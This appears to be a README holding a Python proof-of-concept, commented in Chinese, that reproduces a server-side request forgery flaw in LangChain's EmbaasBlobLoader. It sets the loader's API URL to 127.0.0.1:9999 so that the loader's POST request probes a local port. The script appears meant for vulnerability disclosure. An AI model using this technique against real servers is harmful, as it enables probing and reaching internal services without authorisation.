README.md
Rendering markdown...
import sys
import os
# 自动定位到我的代码库路径
# 如果你的路径有变,请修改这一行
sys.path.append("/mnt/d/GitHub_Projects/langchain/libs/langchain")
try:
from langchain_community.document_loaders.embaas import EmbaasBlobLoader
from langchain_community.document_loaders.blob_loaders import Blob
except ImportError:
# 兼容旧版本路径
from langchain.document_loaders.embaas import EmbaasBlobLoader
from langchain.document_loaders.blob_loaders import Blob
def run_test():
# 【投毒点】我们将 URL 设置为本地回环地址的特殊端口
# 模拟攻击者尝试探测服务器本地的 9999 端口
target_url = "http://127.0.0.1:9999"
print(f"[*] 步骤 1: 注入恶意地址 -> {target_url}")
# 初始化 Loader。参数通过 values 字典进入第 65 行的验证函数
# 由于第 65-71 行只查 Key 不查 URL,毒素会成功存入 self.api_url
loader = EmbaasBlobLoader(
embaas_api_url=target_url,
embaas_api_key="test_key"
)
print("[*] 步骤 2: 触发请求 (Sink 点: 第 149 行)")
try:
# 构造简单数据并加载,迫使程序执行 requests.post
blob = Blob.from_data(b"hello")
list(loader._get_documents(blob))
except Exception as e:
# 如果你看到 ConnectionRefused 且指向 127.0.0.1,说明 SSRF 成功!
print(f"\n[!] 漏洞复现成功!服务器已尝试访问非法地址。")
print(f"[!] 报错详情: {e}")
if __name__ == "__main__":
run_test()